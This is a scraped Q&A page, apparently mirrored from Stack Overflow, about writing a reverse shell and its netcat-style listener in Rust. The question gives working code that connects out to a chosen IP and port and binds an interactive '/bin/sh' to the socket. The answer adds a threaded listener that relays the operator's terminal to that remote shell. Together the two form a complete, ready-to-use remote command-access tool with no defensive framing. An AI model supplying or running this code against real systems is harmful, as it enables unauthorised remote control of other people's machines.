简体   繁体   中英

How to interact with a reverse shell in Rust?

OpenBSD's Netcat implementation listens on a port with unix_bind() ... basically the same behavior as Rust's TcpListener::bind() . Where I got lost in writing my listen function (emulating nc -l -p <port> ) is how to interact with reverse shells.

As seemingly trivial as it sounds, I want listen to give me the sh-3.2$ prompt like nc -l -p <port> does. All the Netcat-Rust implementations I dug up online don't allow me to interact with reverse shells like that.

Reverse shell code (Machine 1): (adapted from this question I asked years ago)

fn reverse_shell(ip: &str, port: &str) {
    let s = TcpStream::connect((ip, port)).unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn().unwrap().wait().unwrap();
}

Listening code (Machine 2):

fn listen(port: u16) {
   let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
   let (mut stream, _) = x.accept().unwrap();
   // How do I interact with the shell now??
}

There's a certain simplicity and elegance to Rust code that helps me understand succinctly what's going on, which is why I don't want to just copy the C code from Netcat.

Basically, we want to have two bi-directional redirections - one from stdin to the stream , and the other from stream to stdout .

We can accomplish this using the generic pipe_thread function below, which creates a dedicated OS thread for this (can be done more efficiently, but we want simplicity). In listen , we spawn two threads like this, and wait for them to terminate.

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where R: std::io::Read + Send + 'static,
      W: std::io::Write + Send + 'static
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                break;
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn listen(port: u16) {
   let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
   let (mut stream, _) = x.accept().unwrap();
   let t1 = pipe_thread(std::io::stdin(), stream.try_clone().unwrap());
   let t2 = pipe_thread(stream, std::io::stdout());
   t1.join();
   t2.join();
}

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM